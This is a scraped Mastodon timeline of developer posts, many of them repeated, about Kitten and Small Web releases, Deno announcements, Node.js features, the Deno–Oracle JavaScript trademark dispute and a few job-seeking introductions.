¹ The security (and privacy) of Domain/Kitten are based on a 32-byte cryptographically random secret string that only the person who owns/controls a domain knows.

This is basically a Base256-encoded ed25519 secret key where the Base256 alphabet is a set of curated emoji surrogate pairs without any special modifiers chosen mainly from the animals, plants, and food groups with some exceptions (to avoid common phobias or triggers, etc.) that we call KittenMoji.

When setting up a Small Web app via Domain, this key is generated in the person’s browser, on their own computer, and is never communicated to either the Domain instance or the Kitten app being installed. Instead the ed25519 public key is sent to both and signed token authentication is used when the server needs to verify the owner’s identity (e.g., before allowing access to the administration area).

The expected/encouraged behaviour is for the person to store this secret in their password manager of choice.

More: kitten.small-web.org/reference

Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al

New Kitten release

• Fixes redirection from sign-in page when person is already authenticated.

kitten.small-web.org

To learn more about how Kitten automatically implements authentication for your Small Web sites and apps using public-key cryptography (so even your own server doesn’t know your secret)¹, please see the Authentication tutorial:

kitten.small-web.org/tutorials

Enjoy!

:kitten:💕

¹ The security (and privacy) of Domain/Kitten are based on a 32-byte cryptographically random secret string that only the person who owns/controls a domain knows.

This is basically a Base256-encoded ed25519 secret key where the Base256 alphabet is a set of curated emoji surrogate pairs without any special modifiers chosen mainly from the animals, plants, and food groups with some exceptions (to avoid common phobias or triggers, etc.) that we call KittenMoji.

When setting up a Small Web app via Domain, this key is generated in the person’s browser, on their own computer, and is never communicated to either the Domain instance or the Kitten app being installed. Instead the ed25519 public key is sent to both and signed token authentication is used when the server needs to verify the owner’s identity (e.g., before allowing access to the administration area).

The expected/encouraged behaviour is for the person to store this secret in their password manager of choice.

More: kitten.small-web.org/reference

Axel Rauschmayer's avatar
Axel Rauschmayer

@rauschma@fosstodon.org

Soon in Node.js—specifying CLI flags via a JSON file:

node --experimental-config-file=noderc.json file.js

github.com/nodejs/node/pull/57

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 🤝 Tanstack
✅ simpler state management
✅ easier data fetching
✅ less boilerplate

docs.deno.com/examples/tanstac

Axel Rauschmayer's avatar
Axel Rauschmayer

@rauschma@fosstodon.org

Soon in Node.js—specifying CLI flags via a JSON file:

node --experimental-config-file=noderc.json file.js

github.com/nodejs/node/pull/57

Axel Rauschmayer's avatar
Axel Rauschmayer

@rauschma@fosstodon.org

Soon in Node.js—specifying CLI flags via a JSON file:

node --experimental-config-file=noderc.json file.js

github.com/nodejs/node/pull/57

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 🤝 Tanstack
✅ simpler state management
✅ easier data fetching
✅ less boilerplate

docs.deno.com/examples/tanstac

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.2 is released!
OTEL, node:sqlite, linter plugins, and much more 👇

deno.com/blog/v2.2

Deno's avatar
Deno

@deno_land@fosstodon.org

Heard of Deno but haven't had the time to try it out?

Join Jo Frank at TheJam.dev
where she'll give an introduction to the runtime and its built in tooling to make your developer experience delightful.

Tickets are free, so what are you waiting for?

cfe.dev/events/the-jam-2025/

Axel Rauschmayer's avatar
Axel Rauschmayer

@rauschma@fosstodon.org

Built-in globbing functionality in Node.js (since v20.17.0):

path.matchesGlob(path, pattern)
nodejs.org/api/path.html#pathm

fsPromises.glob(pattern, options?)
nodejs.org/api/fs.html#fspromi

Small library for older Node versions: github.com/SuperchupuDev/tinyg

Axel Rauschmayer's avatar
Axel Rauschmayer

@rauschma@fosstodon.org

Built-in globbing functionality in Node.js (since v20.17.0):

path.matchesGlob(path, pattern)
nodejs.org/api/path.html#pathm

fsPromises.glob(pattern, options?)
nodejs.org/api/fs.html#fspromi

Small library for older Node versions: github.com/SuperchupuDev/tinyg

Deno's avatar
Deno

@deno_land@fosstodon.org

Over the past few months, we've made several improvements to our documentation:
🗂️ better organized examples
📸 video tutorials
💻 more documentation in API reference
and much more —

deno.com/blog/docs-update

Deno's avatar
Deno

@deno_land@fosstodon.org

The next version of Deno will have a super fast JS/TS plugin API for the linter 🎉

Watch @lcasdev write a lint rule to ban string literals in <60 seconds.

This, plus many other goodies, to land next week with Deno 2.2.

Deno's avatar
Deno

@deno_land@fosstodon.org

Are you still using npm transpile services like esm.sh and unpkg.com?
❌ dependency deduplication
❌ install hooks and native add-ons
❌ loading data files

Here's why we recommend importing npm packages natively via npm specifiers 👇

deno.com/blog/not-using-npm-sp

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

🚀 Big news for Node.js developers! require(esm) has been backported to Node.js 20, removing a major roadblock for ESM adoption. With Node 18 nearing EOL, library maintainers can finally go ESM-only with confidence. 🎉

socket.dev/blog/require-esm-ba

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

🚀 Big news for Node.js developers! require(esm) has been backported to Node.js 20, removing a major roadblock for ESM adoption. With Node 18 nearing EOL, library maintainers can finally go ESM-only with confidence. 🎉

socket.dev/blog/require-esm-ba

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

🚀 Big news for Node.js developers! require(esm) has been backported to Node.js 20, removing a major roadblock for ESM adoption. With Node 18 nearing EOL, library maintainers can finally go ESM-only with confidence. 🎉

socket.dev/blog/require-esm-ba

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

🚀 Big news for Node.js developers! require(esm) has been backported to Node.js 20, removing a major roadblock for ESM adoption. With Node 18 nearing EOL, library maintainers can finally go ESM-only with confidence. 🎉

socket.dev/blog/require-esm-ba

Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io

Why does the npm user or organisation on npm have 64,788 packages?

Screenshot of the user or organisation profile for npm on the npm registry showing 64,788 packages all from different authors.
ALT text detailsScreenshot of the user or organisation profile for npm on the npm registry showing 64,788 packages all from different authors.
Deno's avatar
Deno

@deno_land@fosstodon.org

Are you still using npm transpile services like esm.sh and unpkg.com?
❌ dependency deduplication
❌ install hooks and native add-ons
❌ loading data files

Here's why we recommend importing npm packages natively via npm specifiers 👇

deno.com/blog/not-using-npm-sp

Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al

Donno about you guys but it sure is nice not to have to try and decipher the clusterfuck-like syntax of Hugo’s Go-based templating engine anymore…

The code on the left is Kitten¹, on the right is Hugo².

Kitten’s ‘template engine’ is just JavaScript tagged template strings.

(I’m porting the Small Technology Foundation web site³ from Site.js⁴ to Kitten, and in the process from being a Hugo-based static site to a dynamic one with a nice little admin panel I’m making to make it trivially easy to add new news items, events, and videos.)

¹ kitten.small-web.org
² gohugo.io
³ small-tech.org
sitejs.org

Screenshot of split terminal window showing the sample template in Kitten (on the left, as a JavaScript tagged template string) and on the right in Hugo’s Go-based templating system.

Partial code comparison:

Kitten:

      <if ${db.news.posts.length > 0}>
        <then>
          <ul class='posts-list'>
          ${db.news.posts.map(post => kitten.html`
            <li>
              <h2 class='p-name'>${post.title}</h2>
              <div class='entry-meta'>
                <p>Posted: ${post.date} by ${post.author.name} on <a href='${post.author.siteLink}'>${post.author.siteName}</a>
              </div>
              <blockquote class='summary'>
                ${[kitten.md.render(post.summary)]}
              </blockquote>
            
Hugo:

	{{ $section := where .Site.RegularPages "Section" .Section }}
	<ul class='posts-list'>
		{{ range $section }}
			<li>
				<h2 class='p-name'>
					{{ .Title }}
				</h2>
				<div class='entry-meta'><p>Posted: <time datetime='{{ .Date.Format "2006-01-02T15:04:05Z07:00" }}'>
					{{ .Date.Format "2" | humanize }} {{ .Date.Format "January, 2006" }}
					</time> {{ with .Params.author }}by {{ . }} {{end}}on <a href='{{ .Params.SourceURL }}'>{{ .Params.SourceName }}</a></p></div>
				<blockquote class='summary'>
					<p>{{ .Summary }}</p>
				</blockquote>
ALT text detailsScreenshot of split terminal window showing the sample template in Kitten (on the left, as a JavaScript tagged template string) and on the right in Hugo’s Go-based templating system. Partial code comparison: Kitten: <if ${db.news.posts.length > 0}> <then> <ul class='posts-list'> ${db.news.posts.map(post => kitten.html` <li> <h2 class='p-name'>${post.title}</h2> <div class='entry-meta'> <p>Posted: ${post.date} by ${post.author.name} on <a href='${post.author.siteLink}'>${post.author.siteName}</a> </div> <blockquote class='summary'> ${[kitten.md.render(post.summary)]} </blockquote> Hugo: {{ $section := where .Site.RegularPages "Section" .Section }} <ul class='posts-list'> {{ range $section }} <li> <h2 class='p-name'> {{ .Title }} </h2> <div class='entry-meta'><p>Posted: <time datetime='{{ .Date.Format "2006-01-02T15:04:05Z07:00" }}'> {{ .Date.Format "2" | humanize }} {{ .Date.Format "January, 2006" }} </time> {{ with .Params.author }}by {{ . }} {{end}}on <a href='{{ .Params.SourceURL }}'>{{ .Params.SourceName }}</a></p></div> <blockquote class='summary'> <p>{{ .Summary }}</p> </blockquote>
Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al

Your web server having an interactive shell (REPL) where you can live update entries in your site/app’s database is pretty neat (if I do say so myself) :)

kitten.small-web.org/reference

(I’m porting the Small Technology Foundation site¹ from Site.js² – and hence from being a static site generated via Site.js’s integrated Hugo³ – to Kitten⁴. In the process, I’m creating an admin panel⁵ for the news, events, and videos sections, which will make them easier to update, and storing the data in Kitten’s internal JavaScript Database⁶.)

¹ small-tech.org
² sitejs.org
³ gohugo.io/
kitten.small-web.org
⁵ It’s trivial to create authenticated routes in Kitten. You just add a lock emoji (🔒) to the end of your route’s name. e.g., admin🔒.page.js or /admin🔒/index.page.js (see kitten.small-web.org/reference).
codeberg.org/small-tech/jsdb

Screenshot of Kitten’s interactive shell, showing me alterning a database entry in development:

}
  ]

🐱 💬 kitten.db.news[0].link = kitten.db.news[0].postLink

  'https://ar.al/2024/05/23/new-kitten-features-interactive-shell-repl-multi-page-settings-and-backup-and-restore-data-portability/'

🐱 💬 kitten.db.news[0]

  Proxy [
    News {
      link: 'https://ar.al/2024/05/23/new-kitten-features-interactive-shell-repl-multi-page-settings-and-backup-and-restore-data-portability/',
      title: 'New Kitten features: Interactive Shell (REPL), Multi-page Settings, and backup and restore (data portability)',
      date: '2024-05-23',
      image: '',
      summary: 'In this video, Aral demonstrates the new features added to Kitten in May: including the new Interactive Shell (REPL), Multi-page Settings, and backup and restore (data portability).',
      author: 'Aral Balkan',
      sourceName: 'Aral’s Blog',
      sourceLink: 'https://ar.al',
      postLink: 'https://ar.al/2024/05/23/new-kitten-features-interactive-shell-repl-multi-page-settings-and-backup-and-restore-data-portability/',
      presets: 'custom'
    },
    {
      get: [Function: bound getHandler] { boundObject: [DataProxy] },
      set: [Function: bound setHandler] { boundObject: [DataProxy] },
      defineProperty: [Function: bound definePropertyHandler] { boundObject: [DataProxy] },
      deleteProperty: [Function: bound deletePropertyHandler] { boundObject: [DataProxy] }
    }
  ]
ALT text detailsScreenshot of Kitten’s interactive shell, showing me alterning a database entry in development: } ] 🐱 💬 kitten.db.news[0].link = kitten.db.news[0].postLink 'https://ar.al/2024/05/23/new-kitten-features-interactive-shell-repl-multi-page-settings-and-backup-and-restore-data-portability/' 🐱 💬 kitten.db.news[0] Proxy [ News { link: 'https://ar.al/2024/05/23/new-kitten-features-interactive-shell-repl-multi-page-settings-and-backup-and-restore-data-portability/', title: 'New Kitten features: Interactive Shell (REPL), Multi-page Settings, and backup and restore (data portability)', date: '2024-05-23', image: '', summary: 'In this video, Aral demonstrates the new features added to Kitten in May: including the new Interactive Shell (REPL), Multi-page Settings, and backup and restore (data portability).', author: 'Aral Balkan', sourceName: 'Aral’s Blog', sourceLink: 'https://ar.al', postLink: 'https://ar.al/2024/05/23/new-kitten-features-interactive-shell-repl-multi-page-settings-and-backup-and-restore-data-portability/', presets: 'custom' }, { get: [Function: bound getHandler] { boundObject: [DataProxy] }, set: [Function: bound setHandler] { boundObject: [DataProxy] }, defineProperty: [Function: bound definePropertyHandler] { boundObject: [DataProxy] }, deleteProperty: [Function: bound deletePropertyHandler] { boundObject: [DataProxy] } } ]
Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al

Your web server having an interactive shell (REPL) where you can live update entries in your site/app’s database is pretty neat (if I do say so myself) :)

kitten.small-web.org/reference

(I’m porting the Small Technology Foundation site¹ from Site.js² – and hence from being a static site generated via Site.js’s integrated Hugo³ – to Kitten⁴. In the process, I’m creating an admin panel⁵ for the news, events, and videos sections, which will make them easier to update, and storing the data in Kitten’s internal JavaScript Database⁶.)

¹ small-tech.org
² sitejs.org
³ gohugo.io/
kitten.small-web.org
⁵ It’s trivial to create authenticated routes in Kitten. You just add a lock emoji (🔒) to the end of your route’s name. e.g., admin🔒.page.js or /admin🔒/index.page.js (see kitten.small-web.org/reference).
codeberg.org/small-tech/jsdb

Screenshot of Kitten’s interactive shell, showing me alterning a database entry in development:

}
  ]

🐱 💬 kitten.db.news[0].link = kitten.db.news[0].postLink

  'https://ar.al/2024/05/23/new-kitten-features-interactive-shell-repl-multi-page-settings-and-backup-and-restore-data-portability/'

🐱 💬 kitten.db.news[0]

  Proxy [
    News {
      link: 'https://ar.al/2024/05/23/new-kitten-features-interactive-shell-repl-multi-page-settings-and-backup-and-restore-data-portability/',
      title: 'New Kitten features: Interactive Shell (REPL), Multi-page Settings, and backup and restore (data portability)',
      date: '2024-05-23',
      image: '',
      summary: 'In this video, Aral demonstrates the new features added to Kitten in May: including the new Interactive Shell (REPL), Multi-page Settings, and backup and restore (data portability).',
      author: 'Aral Balkan',
      sourceName: 'Aral’s Blog',
      sourceLink: 'https://ar.al',
      postLink: 'https://ar.al/2024/05/23/new-kitten-features-interactive-shell-repl-multi-page-settings-and-backup-and-restore-data-portability/',
      presets: 'custom'
    },
    {
      get: [Function: bound getHandler] { boundObject: [DataProxy] },
      set: [Function: bound setHandler] { boundObject: [DataProxy] },
      defineProperty: [Function: bound definePropertyHandler] { boundObject: [DataProxy] },
      deleteProperty: [Function: bound deletePropertyHandler] { boundObject: [DataProxy] }
    }
  ]
ALT text detailsScreenshot of Kitten’s interactive shell, showing me alterning a database entry in development: } ] 🐱 💬 kitten.db.news[0].link = kitten.db.news[0].postLink 'https://ar.al/2024/05/23/new-kitten-features-interactive-shell-repl-multi-page-settings-and-backup-and-restore-data-portability/' 🐱 💬 kitten.db.news[0] Proxy [ News { link: 'https://ar.al/2024/05/23/new-kitten-features-interactive-shell-repl-multi-page-settings-and-backup-and-restore-data-portability/', title: 'New Kitten features: Interactive Shell (REPL), Multi-page Settings, and backup and restore (data portability)', date: '2024-05-23', image: '', summary: 'In this video, Aral demonstrates the new features added to Kitten in May: including the new Interactive Shell (REPL), Multi-page Settings, and backup and restore (data portability).', author: 'Aral Balkan', sourceName: 'Aral’s Blog', sourceLink: 'https://ar.al', postLink: 'https://ar.al/2024/05/23/new-kitten-features-interactive-shell-repl-multi-page-settings-and-backup-and-restore-data-portability/', presets: 'custom' }, { get: [Function: bound getHandler] { boundObject: [DataProxy] }, set: [Function: bound setHandler] { boundObject: [DataProxy] }, defineProperty: [Function: bound definePropertyHandler] { boundObject: [DataProxy] }, deleteProperty: [Function: bound deletePropertyHandler] { boundObject: [DataProxy] } } ]
Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al

New releases

• Kitten (rolling release)
• @small-tech/https version 5.3.2
• Auto Encrypt version 4.1.3

OCSP support has been reinstated in the server so existing sites with Let’s Encrypt certificates provisioned prior to the removal of the OCSP stapling requirement will not fail to load in Firefox.

Kitten servers in production will automatically update to this version in a few hours. You can also sign in to the Kitten settings page on your server and do a manual update to update Kitten immediately.

Thanks to @stefan and @s1r83r for bringing this to my attention. (mastodon.ar.al/@aral/113969540)

Deno's avatar
Deno

@deno_land@fosstodon.org

The next version of Deno will have a super fast JS/TS plugin API for the linter 🎉

Watch @lcasdev write a lint rule to ban string literals in <60 seconds.

This, plus many other goodies, to land next week with Deno 2.2.

Deno's avatar
Deno

@deno_land@fosstodon.org

The next version of Deno will have a super fast JS/TS plugin API for the linter 🎉

Watch @lcasdev write a lint rule to ban string literals in <60 seconds.

This, plus many other goodies, to land next week with Deno 2.2.

Deno's avatar
Deno

@deno_land@fosstodon.org

JSR is now openly governed — meet its board members and check out its governance charter 👇

deno.com/blog/jsr-open-governa

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.2 was scheduled to be released tomorrow but we're slipping the release until next week to complete the V8 upgrade to 13.4

Deno's avatar
Deno

@deno_land@fosstodon.org

Run Rust (left) in JavaScript (right) via wasm

deno.com/blog/intro-to-wasm

Deno's avatar
Deno

@deno_land@fosstodon.org

Over the past few months, we've made several improvements to our documentation:
🗂️ better organized examples
📸 video tutorials
💻 more documentation in API reference
and much more —

deno.com/blog/docs-update

Deno's avatar
Deno

@deno_land@fosstodon.org

The next version of Deno will have a super fast JS/TS plugin API for the linter 🎉

Watch @lcasdev write a lint rule to ban string literals in <60 seconds.

This, plus many other goodies, to land next week with Deno 2.2.

Deno's avatar
Deno

@deno_land@fosstodon.org

The next version of Deno will have a super fast JS/TS plugin API for the linter 🎉

Watch @lcasdev write a lint rule to ban string literals in <60 seconds.

This, plus many other goodies, to land next week with Deno 2.2.

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

The latest development in @deno_land 's petition to cancel Oracle’s claim to the trademark: Oracle used Node.js as proof of use & is seeking to dismiss fraud claims, delaying the case and avoiding questions about its right to the name.

socket.dev/blog/oracle-drags-i

Deno's avatar
Deno

@deno_land@fosstodon.org

Over the past few months, we've made several improvements to our documentation:
🗂️ better organized examples
📸 video tutorials
💻 more documentation in API reference
and much more —

deno.com/blog/docs-update

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

The latest development in @deno_land 's petition to cancel Oracle’s claim to the trademark: Oracle used Node.js as proof of use & is seeking to dismiss fraud claims, delaying the case and avoiding questions about its right to the name.

socket.dev/blog/oracle-drags-i

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

The latest development in @deno_land 's petition to cancel Oracle’s claim to the trademark: Oracle used Node.js as proof of use & is seeking to dismiss fraud claims, delaying the case and avoiding questions about its right to the name.

socket.dev/blog/oracle-drags-i

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.2 was scheduled to be released tomorrow but we're slipping the release until next week to complete the V8 upgrade to 13.4

Mark Gardner's avatar
Mark Gardner

@mjgardner@social.sdf.org

Fantastic. The multiple runtime manager folks performed a Great Rewrite into from v0.15 to v0.16, simultaneously breaking stuff because it's no longer possible outside of a shell script *and* introducing breaking changes because they could:

asdf-vm.com/guide/upgrading-to

(asdf is like 's nvm or 's rbenv or 's perlbrew but for *every* tool. I like it but this is annoying.)

Mark Gardner's avatar
Mark Gardner

@mjgardner@social.sdf.org

Fantastic. The multiple runtime manager folks performed a Great Rewrite into from v0.15 to v0.16, simultaneously breaking stuff because it's no longer possible outside of a shell script *and* introducing breaking changes because they could:

asdf-vm.com/guide/upgrading-to

(asdf is like 's nvm or 's rbenv or 's perlbrew but for *every* tool. I like it but this is annoying.)

Deno's avatar
Deno

@deno_land@fosstodon.org

Run Rust (left) in JavaScript (right) via wasm

deno.com/blog/intro-to-wasm

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.2 was scheduled to be released tomorrow but we're slipping the release until next week to complete the V8 upgrade to 13.4

Deno's avatar
Deno

@deno_land@fosstodon.org

Oracle justified its JavaScript trademark by claiming Node.js — now it wants that ignored

deno.com/blog/deno-v-oracle2

Deno's avatar
Deno

@deno_land@fosstodon.org

Oracle justified its JavaScript trademark by claiming Node.js — now it wants that ignored

deno.com/blog/deno-v-oracle2

Deno's avatar
Deno

@deno_land@fosstodon.org

Oracle justified its JavaScript trademark by claiming Node.js — now it wants that ignored

deno.com/blog/deno-v-oracle2

Deno's avatar
Deno

@deno_land@fosstodon.org

Oracle justified its JavaScript trademark by claiming Node.js — now it wants that ignored

deno.com/blog/deno-v-oracle2

Deno's avatar
Deno

@deno_land@fosstodon.org

Oracle justified its JavaScript trademark by claiming Node.js — now it wants that ignored

deno.com/blog/deno-v-oracle2

Deno's avatar
Deno

@deno_land@fosstodon.org

JSR is now openly governed — meet its board members and check out its governance charter 👇

deno.com/blog/jsr-open-governa

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno's fully featured, zero-overhead FFI is stable

Deno's avatar
Deno

@deno_land@fosstodon.org

Building a CLI is easy with these browser methods 👀

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.8 has been released with important LSP performance improvements along with an important bug fix for S3 uploads

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

AsyncIterable<T> can be used to construct the body for Request and Response 👇

Deno's avatar
Deno

@deno_land@fosstodon.org

Building a CLI is easy with these browser methods 👀

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.8 has been released with important LSP performance improvements along with an important bug fix for S3 uploads

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

AsyncIterable<T> can be used to construct the body for Request and Response 👇

Deno's avatar
Deno

@deno_land@fosstodon.org

AsyncIterable<T> can be used to construct the body for Request and Response 👇

Denis's avatar
Denis

@constantorbit@hachyderm.io

uggggh I'm in ES module vs CommonJS hell in nodejs. With Typescript layered on top.

Is it just me, or is this whole JS/TS environment a sh*tshow and nobody will admit it? It feels like a huge ball of duct tape and baling wire.

Maybe I should see if I can convince my org to explore Deno.

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.8 has been released with important LSP performance improvements along with an important bug fix for S3 uploads

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

Building a CLI is easy with these browser methods 👀

AdrianC's avatar
AdrianC

@adrianc@hachyderm.io

Hi!

I'm Adrian, a FullStack looking for a job either in (or from it if you allow for remote work), with a permanent and open visa

I have experience building and maintaining web apps and APIs, designing systems, doing and a bit of , and

I'm experienced using , , , , , , and ; and on the DevOps side in CI/CD pipelines (either and Gitlab CI/CD), and a bit of

I was tasked with a lot of the happening in my previous company, researching tools, librairies, patterns or general technologies either for our own or for our products

I also wrote a lot of technical and non technical documentation and internal presentations, and even participated in a few meetups. You can read some of my writing on my blog: blog.adrianc.eu

You might also have seen me on a few Elixir-related Discord servers, or even Bluesky (@adrianc.eu) and Twitter ; either sharing tech news, helping people, reading in book clubs or just chatting

I’m open to full-time right now, contracting work can be discussed.

I'm looking for any developer position, not only , even though it represents most of my experience. And if the technology you're using isn't on my resume, give me a chance! I'm a fast learner and I might anyway have studied it in class :P

DM me for more info, like github link, my resume or anything :)

Boosts, responses and DM welcome, of course!

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno's fully featured, zero-overhead FFI is stable

AdrianC's avatar
AdrianC

@adrianc@hachyderm.io

Hi!

I'm Adrian, a FullStack looking for a job either in (or from it if you allow for remote work), with a permanent and open visa

I have experience building and maintaining web apps and APIs, designing systems, doing and a bit of , and

I'm experienced using , , , , , , and ; and on the DevOps side in CI/CD pipelines (either and Gitlab CI/CD), and a bit of

I was tasked with a lot of the happening in my previous company, researching tools, librairies, patterns or general technologies either for our own or for our products

I also wrote a lot of technical and non technical documentation and internal presentations, and even participated in a few meetups. You can read some of my writing on my blog: blog.adrianc.eu

You might also have seen me on a few Elixir-related Discord servers, or even Bluesky (@adrianc.eu) and Twitter ; either sharing tech news, helping people, reading in book clubs or just chatting

I’m open to full-time right now, contracting work can be discussed.

I'm looking for any developer position, not only , even though it represents most of my experience. And if the technology you're using isn't on my resume, give me a chance! I'm a fast learner and I might anyway have studied it in class :P

DM me for more info, like github link, my resume or anything :)

Boosts, responses and DM welcome, of course!

Deno's avatar
Deno

@deno_land@fosstodon.org

Want to use Rust in JavaScript?
Increase performance in the browser?
Here's an intro to using Wasm with Deno.

deno.com/blog/intro-to-wasm

Deno's avatar
Deno

@deno_land@fosstodon.org

Want to use Rust in JavaScript?
Increase performance in the browser?
Here's an intro to using Wasm with Deno.

deno.com/blog/intro-to-wasm

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno supports the new URL.parse() web API, which provides a simpler control flow for parsing URLs 👇

The new Web API URL.parse() provides a simpler control flow when you need to parse URLs.
ALT text detailsThe new Web API URL.parse() provides a simpler control flow when you need to parse URLs.
Deno's avatar
Deno

@deno_land@fosstodon.org

Want to use Rust in JavaScript?
Increase performance in the browser?
Here's an intro to using Wasm with Deno.

deno.com/blog/intro-to-wasm

Deno's avatar
Deno

@deno_land@fosstodon.org

The OpenAI JavaScript SDK is now on JSR 🎉️

deno.com/blog/openai-on-jsr

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno supports the new URL.parse() web API, which provides a simpler control flow for parsing URLs 👇

The new Web API URL.parse() provides a simpler control flow when you need to parse URLs.
ALT text detailsThe new Web API URL.parse() provides a simpler control flow when you need to parse URLs.
Deno's avatar
Deno

@deno_land@fosstodon.org

Want to use Rust in JavaScript?
Increase performance in the browser?
Here's an intro to using Wasm with Deno.

deno.com/blog/intro-to-wasm

Deno's avatar
Deno

@deno_land@fosstodon.org

Want to use Rust in JavaScript?
Increase performance in the browser?
Here's an intro to using Wasm with Deno.

deno.com/blog/intro-to-wasm

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno supports the new URL.parse() web API, which provides a simpler control flow for parsing URLs 👇

The new Web API URL.parse() provides a simpler control flow when you need to parse URLs.
ALT text detailsThe new Web API URL.parse() provides a simpler control flow when you need to parse URLs.
Deno's avatar
Deno

@deno_land@fosstodon.org

Deno supports the new URL.parse() web API, which provides a simpler control flow for parsing URLs 👇

The new Web API URL.parse() provides a simpler control flow when you need to parse URLs.
ALT text detailsThe new Web API URL.parse() provides a simpler control flow when you need to parse URLs.
Óscar J. Baeza's avatar
Óscar J. Baeza

@oj@masto.es

Aunque llevo años por aquí, ésta es mi .

Soy ingeniero de software con +20 años programando en , haciendo mis pinitos en , y , y trabajo en remoto desde 2007.

Escribí durante años en blogs profesionales (e incluso un libro), empecé en el en el 2007 con @kafelog y madrugo para ir a hacer .

Me gusta la tecnología, comer bien, el café, el vermú, la ciencia ficción, el terror cósmico y las zapatillas.

¡Hola! 👋🏻

Dominik's avatar
Dominik

@chrastecky@phpc.social

This is one of the most useful tools I have built:

history.nix-packages.com

Working with multiple versions of whatever software you need for your legacy app is a breeze.

You want some specific version of or whatever else without it polluting your system? You're just one `nix-shell` command away!

Deno's avatar
Deno

@deno_land@fosstodon.org

use CSS styling in console log with Deno

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.7 is out!
▸ smaller deno compile binaries (~2Mb)
▸ Node compat bug fixes
Upgrade with `deno upgrade`

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

VSCode will automatically detect your Deno tests

Deno's avatar
Deno

@deno_land@fosstodon.org

The OpenAI JavaScript SDK is now on JSR 🎉️

deno.com/blog/openai-on-jsr

Deno's avatar
Deno

@deno_land@fosstodon.org

The OpenAI JavaScript SDK is now on JSR 🎉️

deno.com/blog/openai-on-jsr

Deno's avatar
Deno

@deno_land@fosstodon.org

The OpenAI JavaScript SDK is now on JSR 🎉️

deno.com/blog/openai-on-jsr

Deno's avatar
Deno

@deno_land@fosstodon.org

The OpenAI JavaScript SDK is now on JSR 🎉️

deno.com/blog/openai-on-jsr

Deno's avatar
Deno

@deno_land@fosstodon.org

VSCode will automatically detect your Deno tests

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.7 is out!
▸ smaller deno compile binaries (~2Mb)
▸ Node compat bug fixes
Upgrade with `deno upgrade`

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

use CSS styling in console log with Deno

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.7 is out!
▸ smaller deno compile binaries (~2Mb)
▸ Node compat bug fixes
Upgrade with `deno upgrade`

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

use CSS styling in console log with Deno

Deno's avatar
Deno

@deno_land@fosstodon.org

use CSS styling in console log with Deno

Deno's avatar
Deno

@deno_land@fosstodon.org

use CSS styling in console log with Deno

Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al · Reply to Aral Balkan's post

Adding more beautiful error messages to Kitten. These should help make it easier to recover from common errors while authoring.

kitten.small-web.org

Screenshot of Kitten error page with cute illustration of a grey kitten with pink ears and nose playing with a purple ball of yarn followed by the error message:

500
Error: Attempt to instantiate kitten.Component in markup without calling its connectedTo() static factory method:
In your kitten.html``, replace:

<{Uptime} />

With:

<{Uptime.connectedTo(this)} />

Finally, there’s a partial view of a stack trace that scrolls off the page.
ALT text detailsScreenshot of Kitten error page with cute illustration of a grey kitten with pink ears and nose playing with a purple ball of yarn followed by the error message: 500 Error: Attempt to instantiate kitten.Component in markup without calling its connectedTo() static factory method: In your kitten.html``, replace: <{Uptime} /> With: <{Uptime.connectedTo(this)} /> Finally, there’s a partial view of a stack trace that scrolls off the page.
Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al · Reply to Aral Balkan's post

Little preview video: Kitten’s improved component model

• Class-based page routes and components
• Object-oriented
• Event-based
• Seamless hypermedia-driven WebSocket-based event mapping and interface updates (Streaming HTML)
• A light server-side live component hierarchy with event bubbling
• Almost as if you’re building a desktop or mobile app instead of a web app…

… another authoring simplification made possible because on the Small Web – which is a peer-to-peer web – you build a web app/site as a tool for one person (the owner of the site/app) instead of as a tool for you to farm millions of people.

… still experimental ;)

vimeo.com/1049055406

Learn more about Kitten:

kitten.small-web.org

If you like what you see and want us to keep existing, we could definitely use your support:

small-tech.org/fund-us/

:kitten:💕

Deno's avatar
Deno

@deno_land@fosstodon.org

git log --since "2024-01-01" --until "2025-01-01"

deno.com/blog/deno-in-2024

Deno's avatar
Deno

@deno_land@fosstodon.org

git log --since "2024-01-01" --until "2025-01-01"

deno.com/blog/deno-in-2024

Deno's avatar
Deno

@deno_land@fosstodon.org

git log --since "2024-01-01" --until "2025-01-01"

deno.com/blog/deno-in-2024

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.6 has been released

- Correct handling of compilerOptions.types
- Better handling of npm package types
- Improvements to node:fs FileHandle
